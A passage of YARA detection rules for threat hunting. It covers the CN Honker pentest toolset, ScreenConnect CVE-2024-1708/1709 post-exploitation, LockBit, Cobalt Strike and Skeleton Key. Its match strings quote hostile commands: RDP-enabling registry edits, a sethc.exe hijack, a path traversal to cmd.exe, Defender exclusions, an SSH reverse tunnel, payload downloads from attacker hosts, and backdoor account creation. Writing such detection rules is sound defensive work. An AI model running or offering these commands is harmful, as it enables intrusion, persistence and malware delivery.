		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "d776eb7596803b5b94098334657667d34b60d880"
		id = "75d23c63-ba9e-55fd-90fe-5e054d28a777"

	strings:
		$s1 = "echo \"fdenytsconnections\"=dword:00000000 >> c:\\reg.reg" fullword ascii
		$s2 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server] >" ascii
		$s3 = "echo \"Tsenabled\"=dword:00000001 >> c:\\reg.reg" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and all of them
}

rule CN_Honker_CookiesView
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file CookiesView.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "c54e1f16d79066edfa0f84e920ed1f4873958755"
		id = "71a43797-4b5b-5f87-a70e-ebabc00d9319"

	strings:
		$s0 = "V1.0  Http://www.darkst.com Code:New4" fullword ascii
		$s1 = "maotpo@126.com" fullword ascii
		$s2 = "www.baidu.com" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 640KB and all of them
}

rule CN_Honker_T00ls_Lpk_Sethc_v4_LPK
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "2b2ab50753006f62965bba83460e3960ca7e1926"
		id = "808f5de2-1360-521e-8939-b759e361507c"

	strings:
		$s1 = "http://127.0.0.1/1.exe" fullword wide
		$s2 = "FreeHostKillexe.exe" fullword ascii
		$s3 = "\\sethc.exe /G everyone:F" ascii
		$s4 = "c:\\1.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them
}

rule CN_Honker_ScanHistory
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ScanHistory.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "14c31e238924ba3abc007dc5a3168b64d7b7de8d"
		id = "85585cd2-c5ed-5465-bcac-b61211570055"

	strings:
		$s1 = "ScanHistory.exe" fullword wide
		$s2 = ".\\Report.dat" fullword wide
		$s3 = "select  * from  Results order by scandate desc" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker_InvasionErasor
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file InvasionErasor.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "b37ecd9ee6b137a29c9b9d2801473a521b168794"
		id = "03ccb643-9f92-5278-a358-65f56cf19ccc"

	strings:
		$s1 = "c:\\windows\\system32\\config\\*.*" fullword wide
		$s2 = "c:\\winnt\\*.txt" fullword wide
		$s3 = "Command1" fullword ascii
		$s4 = "Win2003" fullword ascii
		$s5 = "Win 2000" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule CN_Honker_super_Injection1
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file super Injection1.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "8ff2df40c461f6c42b92b86095296187f2b59b14"
		id = "ad84c5a0-4f03-5040-bdf7-819b40a08ad2"

	strings:
		$s2 = "Invalid owner=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide
		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
		$s4 = "ScanInject.log" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule CN_Honker_Pk_Pker
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Pker.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "631787f27f27c46f79e58e1accfcc9ecfb4d3a2f"
		id = "dff0e4fb-6b2e-5fa8-910d-63a9e5030b95"

	strings:
		$s1 = "/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe" fullword wide
		$s2 = "msadc/..\\..\\..\\..\\winnt/system32/cmd.exe" fullword wide
		$s3 = "--Made by VerKey&Only_Guest&Bincker" fullword wide
		$s4 = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;" fullword wide
		$s5 = " --Welcome to Www.Pker.In Made by V.K" fullword wide
		$s6 = "Report.dat" fullword wide
		$s7 = ".\\Report.dat" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and 5 of them
}

rule CN_Honker_GetPass_GetPass
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file GetPass.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "d18d952b24110b83abd17e042f9deee679de6a1a"
		id = "999d0ac0-a112-53db-9dbe-10fa4419cfae"

	strings:
		$s1 = "\\only\\Desktop\\" ascii
		$s2 = "To Run As Administuor" ascii
		$s3 = "Key to EXIT ... & pause > nul" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule CN_Honker_F4ck_Team_BlackMoon_Jun15
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file f4ck.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		old_rule_name = "CN_Honker_F4ck_Team_f4ck_3"
		date = "2015-06-23"
		score = 70
		hash = "7e3bf9b26df08cfa10f10e2283c6f21f5a3a0014"
		id = "df12daca-8e03-5382-b71d-96a747d3a043"

	strings:
		$s1 = "File UserName PassWord [comment] /add" fullword ascii
		$s2 = "No Net.exe Add User" fullword ascii
		$s3 = "BlackMoon RunTime Error:" fullword ascii
		$s4 = "Team.F4ck.Net" fullword wide
		$s5 = "admin 123456789" fullword ascii
		$s6 = "blackmoon" fullword ascii
		$s7 = "f4ck Team" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 4 of them
}

rule CN_Honker_F4ck_Team_F4ck_3
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file F4ck_3.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0b3e9381930f02e170e484f12233bbeb556f3731"
		id = "1767669f-47d0-5d6e-97a5-92522f988102"

	strings:
		$s1 = "F4ck.exe" fullword wide
		$s2 = "@Netapi32.dll" fullword ascii
		$s3 = "Team.F4ck.Net" fullword wide
		$s6 = "NO Net Add User" fullword wide
		$s7 = "DLL ERROR" fullword ascii
		$s11 = "F4ck Team" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 3 of them
}

rule CN_Honker_ACCESS_brute
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ACCESS_brute.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "f552e05facbeb21cb12f23c34bb1881c43e24c34"
		id = "7ceaea93-4f23-50a3-ab39-8149b10ffdad"

	strings:
		$s1 = ".dns166.co" ascii
		$s2 = "SExecuteA" ascii
		$s3 = "ality/clsCom" ascii
		$s4 = "NT_SINK_AddRef" ascii
		$s5 = "WINDOWS\\Syswm" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and all of them
}

rule CN_Honker_Fpipe_FPipe
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file FPipe.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 50
		hash = "a2c51c6fa93a3dfa14aaf31fb1c48a3a66a32d11"
		id = "0d84aa8f-dc15-5bb7-a568-224c6a837685"

	strings:
		$s1 = "Unable to create TCP listen socket. %s%d" fullword ascii
		$s2 = "http://www.foundstone.com" fullword ascii
		$s3 = "%s %s port %d. Address is already in use" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and all of them
}

rule CN_Honker_Layer_Layer
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file Layer.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		modified = "2022-12-21"
		score = 70
		hash = "0f4f27e842787cb854bd61f9aca86a63f653eb41"
		id = "48e27119-da7e-5921-8d4f-f8a1e3ac0439"

	strings:
		$s1 = "\\Release\\Layer.pdb" ascii
		$s2 = "Layer.exe" fullword wide
		$s3 = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule CN_Honker_ms10048_x86
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file ms10048-x86.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
		id = "5d572d35-d2e5-5457-89d9-fbce8f8fa552"

	strings:
		$s1 = "[+] Set to %d exploit half succeeded" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them
}

rule CN_Honker_HTran2_4
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file HTran2.4.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "524f986692f55620013ab5a06bf942382e64d38a"
		id = "21cb5ec5-900d-5092-8c2b-2d951289957c"

	strings:
		$s1 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii
		$s2 = "[+] New connection %s:%d !!" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 180KB and all of them
}

rule CN_Honker_SkinHRootkit_SkinH
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - file SkinH.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "d593f03ae06e54b653c7850c872c0eed459b301f"
		id = "8aedd01c-9dc8-537d-97ea-bc8de81edd3d"

	strings:
		$s0 = "(C)360.cn Inc.All Rights Reserved." fullword wide
		$s1 = "SDVersion.dll" fullword wide
		$s2 = "skinh.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule CN_Honker__PostgreSQL_mysql_injectV1_1_Creak_Oracle_SQLServer_inject_Creaked
{
	meta:
		description = "Sample from CN Honker Pentest Toolset"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
		hash1 = "a1f066789f48a76023598c5777752c15f91b76b0"
		hash2 = "0264f4efdba09eaf1e681220ba96de8498ab3580"
		hash3 = "af3c41756ec8768483a4cf59b2e639994426e2c2"
		id = "0272776c-8dbe-5345-92c8-57593686a84c"

	strings:
		$s1 = "zhaoxypass@yahoo.com.cn" fullword ascii
		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
		$s3 = "ProxyParams.ProxyPort" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule CN_Honker__wwwscan_wwwscan_wwwscan_gui
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - from files wwwscan.exe, wwwscan.exe, wwwscan_gui.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "6dbffa916d0f0be2d34c8415592b9aba690634c7"
		hash1 = "6bed45629c5e54986f2d27cbfc53464108911026"
		hash2 = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
		id = "02f80151-4dfb-5b14-9145-312a9bd2c609"

	strings:
		$s1 = "GET /nothisexistpage.html HTTP/1.1" fullword ascii
		$s2 = "<Usage>:  %s <HostName|Ip> [Options]" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule CN_Honker__LPK_LPK_LPK
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - from files LPK.DAT, LPK.DAT, LPK.DAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "5a1226e73daba516c889328f295e728f07fdf1c3"
		hash1 = "2b2ab50753006f62965bba83460e3960ca7e1926"
		hash2 = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
		id = "e1beb88b-d3e8-5868-affb-e59c26e4dc2e"

	strings:
		$s1 = "C:\\WINDOWS\\system32\\cmd.exe" fullword wide
		$s2 = "Password error!" fullword ascii
		$s3 = "\\sathc.exe" ascii
		$s4 = "\\sothc.exe" ascii
		$s5 = "\\lpksethc.bat" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1057KB and all of them
}

rule CN_Honker__builder_shift_SkinH
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - from files builder.exe, shift.exe, SkinH.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "6b5a84cdc3d27c435d49de3f68872d015a5aadfc"
		hash1 = "ee127c1ea1e3b5bf3d2f8754fabf9d1101ed0ee0"
		hash2 = "d593f03ae06e54b653c7850c872c0eed459b301f"
		id = "cb18aa4a-6eba-58ca-a6fc-e4160b90f4d7"

	strings:
		$s1 = "lipboard" fullword ascii
		$s2 = "uxthem" fullword ascii
		$s3 = "ENIGMA" fullword ascii
		$s4 = "UtilW0ndow" fullword ascii
		$s5 = "prog3am" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6075KB and all of them
}

rule CN_Honker__lcx_HTran2_4_htran20
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - from files lcx.exe, HTran2.4.exe, htran20.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
		hash1 = "524f986692f55620013ab5a06bf942382e64d38a"
		hash2 = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
		id = "c6851e7b-ab64-5578-896e-4d92fb3b2000"

	strings:
		$s1 = "[SERVER]connection to %s:%d error" fullword ascii
		$s2 = "[+] OK! I Closed The Two Socket." fullword ascii
		$s3 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 440KB and all of them
}

rule CN_Honker__D_injection_V2_32_D_injection_V2_32_D_injection_V2_32
{
	meta:
		description = "Sample from CN Honker Pentest Toolset - from files D_injection_V2.32.exe, D_injection_V2.32.exe, D_injection_V2.32.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		super_rule = 1
		hash0 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
		hash1 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
		hash2 = "3a000b976c79585f62f40f7999ef9bdd326a9513"
		id = "79e9cd97-c070-5109-a0a0-bc88eea0dc37"

	strings:
		$s1 = "upfile.asp " fullword ascii
		$s2 = "[wscript.shell]" fullword ascii
		$s3 = "XP_CMDSHELL" fullword ascii
		$s4 = "[XP_CMDSHELL]" fullword ascii
		$s5 = "http://d99net.3322.org" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and 4 of them
}

rule ConnectWise_ScreenConnect_Authentication_Bypass_Feb_2024_Exploitation_IIS_Logs
{
	meta:
		description = "Detects an http request to '/SetupWizard.aspx/' with anything following it, which when found in IIS logs is a potential indicator of compromise of the 2024 ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
		author = "Huntress DE&TH Team (modified by Florian Roth)"
		reference = "https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8"
		date = "2024-02-20"
		modified = "2024-02-21"
		id = "2886530b-e164-4c4b-b01e-950e3c40acb4"

	strings:
		$s1 = " GET /SetupWizard.aspx/" ascii
		$s2 = " POST /SetupWizard.aspx/" ascii
		$s3 = " PUT /SetupWizard.aspx/" ascii
		$s4 = " HEAD /SetupWizard.aspx/" ascii

	condition:
		1 of them
}

rule SUSP_ScreenConnect_User_PoC_Com_Unused_Feb24
{
	meta:
		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account wasn't actually used yet to login"
		author = "Florian Roth"
		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
		date = "2024-02-23"
		score = 65

	strings:
		$a1 = "<Users xmlns:xsi="
		$a2 = "<CreationDate>"
		$s1 = "@poc.com</Email>"
		$s2 = "<LastLoginDate>0001"

	condition:
		filesize < 200KB and all of ( $a* ) and all of ( $s* )
}

rule SUSP_ScreenConnect_User_PoC_Com_Used_Feb24
{
	meta:
		description = "Detects suspicious ScreenConnect user with poc.com email address, which is a sign of exploitation of the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability with the POC released by WatchTower and the account was already used yet to login"
		author = "Florian Roth"
		reference = "https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/45e5b2f699a4d8f2d59ec3fc79a2e3c99db71882/watchtowr-vs-ConnectWise_2024-02-21.py#L53"
		date = "2024-02-23"
		score = 75

	strings:
		$a1 = "<Users xmlns:xsi="
		$a2 = "<CreationDate>"
		$s1 = "@poc.com</Email>"
		$f1 = "<LastLoginDate>0001"

	condition:
		filesize < 200KB and all of ( $a* ) and $s1 and not 1 of ( $f* )
}

rule SUSP_ScreenConnect_Exploitation_Artefacts_Feb24 : SCRIPT
{
	meta:
		description = "Detects post exploitation indicators observed by HuntressLabs in relation to the ConnectWise ScreenConnect (versions prior to 23.9.8) vulnerability that allows an Authentication Bypass"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75

	strings:
		$x01 = "-c foreach ($disk in Get-WmiObject Win32_Logicaldisk){Add-MpPreference -ExclusionPath $disk.deviceid}"
		$x02 = ".msi c:\\mpyutd.msi"
		$x03 = "/MyUserName_$env:UserName"
		$x04 = " -OutFile C:\\Windows\\Help\\"
		$x05 = "/Create /TN \\\\Microsoft\\\\Windows\\\\Wininet\\\\UserCache_"
		$x06 = "$e = $r + \"ssh.exe\""
		$x07 = "Start-Process -f $e -a $args -PassThru -WindowStyle Hidden).Id"
		$x08 = "-R 9595:localhost:3389 -p 443 -N -oStrictHostKeyChecking=no "
		$x09 = "chromeremotedesktophost.msi', $env:ProgramData+"
		$x10 = "9595; iwr -UseBasicParsing "
		$x11 = "curl  https://cmctt.]com/pub/media/wysiwyg/"
		$x12 = ":8080/servicetest2.dll"
		$x13 = "/msappdata.msi c:\\mpyutd.msi"
		$x14 = "/svchost.exe -OutFile "
		$x15 = "curl http://minish.wiki.gd"
		$x16 = " -Headers @{'ngrok-skip-browser-warning'='true'} -OutFile "
		$x17 = "rundll32.exe' -Headers @"
		$x18 = "/nssm.exe' -Headers @"
		$x19 = "c:\\programdata\\update.dat UpdateSystem"
		$x20 = "::size -eq 4){\\\"TVqQAA" ascii wide
		$x21 = "::size -eq 4){\"TVqQAA" ascii wide
		$x22 = "-nop -c [System.Reflection.Assembly]::Load(([WmiClass]'root\\cimv2:System_"
		$xp0 = "/add default test@2021! /domain"
		$xp1 = "/add default1 test@2021! /domain"
		$xp2 = "oldadmin Pass8080!!"
		$xp3 = "temp 123123qwE /add "
		$xp4 = "oldadmin \"Pass8080!!\""
		$xp5 = "nssm set xmrig AppDirectory "

	condition:
		1 of ( $x* )
}

rule SUSP_Command_Line_Combos_Feb24_2 : SCRIPT
{
	meta:
		description = "Detects suspicious command line combinations often found in post exploitation activities"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75

	strings:
		$sa1 = " | iex"
		$sa2 = "iwr -UseBasicParsing "

	condition:
		filesize < 2MB and all of them
}

rule SUSP_PS1_Combo_TransferSH_Feb24 : SCRIPT
{
	meta:
		description = "Detects suspicious PowerShell command that downloads content from transfer.sh as often found in loaders"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 70

	strings:
		$x1 = ".DownloadString('https://transfer.sh"
		$x2 = ".DownloadString(\"https://transfer.sh"
		$x3 = "Invoke-WebRequest -Uri 'https://transfer.sh"
		$x4 = "Invoke-WebRequest -Uri \"https://transfer.sh"

	condition:
		1 of them
}

rule MAL_SUSP_RANSOM_LockBit_RansomNote_Feb24
{
	meta:
		description = "Detects the LockBit ransom note file 'LockBit-DECRYPT.txt' which is a sign of a LockBit ransomware infection"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75

	strings:
		$x1 = ">>>> Your personal DECRYPTION ID:"

	condition:
		1 of them
}

rule MAL_SUSP_RANSOM_Lazy_RansomNote_Feb24
{
	meta:
		description = "Detects the Lazy ransom note file 'HowToRestoreYourFiles.txt' which is a sign of a Lazy ransomware infection"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75

	strings:
		$x1 = "All Encrypted files can be reversed to original form and become usable"

	condition:
		1 of them
}

rule SUSP_MAL_SigningCert_Feb24_1
{
	meta:
		description = "Detects PE files signed with a certificate used to sign malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75
		hash1 = "37a39fc1feb4b14354c4d4b279ba77ba51e0d413f88e6ab991aad5dd6a9c231b"
		hash2 = "e8c48250cf7293c95d9af1fb830bb8a5aaf9cfb192d8697d2da729867935c793"

	strings:
		$s1 = "Wisdom Promise Security Technology Co." ascii
		$s2 = "Globalsign TSA for CodeSign1" ascii
		$s3 = { 5D AC 0B 6C 02 5A 4B 21 89 4B A3 C2 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 70000KB and all of them
}

import "pe"

rule MAL_CS_Loader_Feb24_1
{
	meta:
		description = "Detects Cobalt Strike malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75
		hash1 = "0a492d89ea2c05b1724a58dd05b7c4751e1ffdd2eab3a2f6a7ebe65bf3fdd6fe"

	strings:
		$s1 = "Dll_x86.dll" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( pe.exports ( "UpdateSystem" ) and ( pe.imphash ( ) == "0dc05c4c21a86d29f1c3bf9cc5b712e0" or $s1 ) )
}

import "pe"

rule MAL_RANSOM_LockBit_Indicators_Feb24
{
	meta:
		description = "Detects Lockbit ransomware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75
		hash1 = "a50d9954c0a50e5804065a8165b18571048160200249766bfa2f75d03c8cb6d0"

	strings:
		$op1 = { 76 c1 95 8b 18 00 93 56 bf 2b 88 71 4c 34 af b1 a5 e9 77 46 c3 13 }
		$op2 = { e0 02 10 f7 ac 75 0e 18 1b c2 c1 98 ac 46 }
		$op3 = { 8b c6 ab 53 ff 15 e4 57 42 00 ff 45 fc eb 92 ff 75 f8 ff 15 f4 57 42 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "914685b69f2ac2ff61b6b0f1883a054d" or 2 of them ) or all of them
}

rule MAL_MSI_Mpyutils_Feb24_1
{
	meta:
		description = "Detects malicious MSI package mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709"
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 70
		hash1 = "8e51de4774d27ad31a83d5df060ba008148665ab9caf6bc889a5e3fba4d7e600"

	strings:
		$s1 = "crypt64ult.exe" ascii fullword
		$s2 = "EXPAND.EXE" wide fullword
		$s6 = "ICACLS.EXE" wide fullword

	condition:
		uint16( 0 ) == 0xcfd0 and filesize < 20000KB and all of them
}

rule MAL_Beacon_Unknown_Feb24_1
{
	meta:
		description = "Detects malware samples mentioned in a HuntressLabs report on the exploitation of ScreenConnect vulnerability CVE-2024-1708 and CVE-2024-1709 "
		author = "Florian Roth"
		reference = "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
		date = "2024-02-23"
		score = 75
		hash1 = "6e8f83c88a66116e1a7eb10549542890d1910aee0000e3e70f6307aae21f9090"
		hash2 = "b0adf3d58fa354dbaac6a2047b6e30bc07a5460f71db5f5975ba7b96de986243"
		hash3 = "c0f7970bed203a5f8b2eca8929b4e80ba5c3276206da38c4e0a4445f648f3cec"

	strings:
		$s1 = "Driver.dll" wide fullword
		$s2 = "X l.dlT" ascii fullword
		$s3 = "$928c7481-dd27-8e23-f829-4819aefc728c" ascii fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 3 of ( $s* )
}

rule skeleton_key_patcher
{
	meta:
		description = "Skeleton Key Patcher from Dell SecureWorks Report http://goo.gl/aAk3lN"
		author = "Dell SecureWorks Counter Threat Unit"
		reference = "http://goo.gl/aAk3lN"
		date = "2015/01/13"
		score = 70
		id = "a2805cce-7605-58a4-85ce-9dff5586858e"

	strings:
		$target_process = "lsass.exe" wide
		$dll1 = "cryptdll.dll"
		$dll2 = "samsrv.dll"
		$name = "HookDC.dll"
		$patched1 = "CDLocateCSystem"
		$patched2 = "SamIRetrievePrimaryCredentials"
		$patched3 = "SamIRetrieveMultiplePrimaryCredentials"

	condition:
		all of them
}

rule skeleton_key_injected_code
{
	meta:
		description = "Skeleton Key injected Code http://goo.gl/aAk3lN"
		author = "Dell SecureWorks Counter Threat Unit"
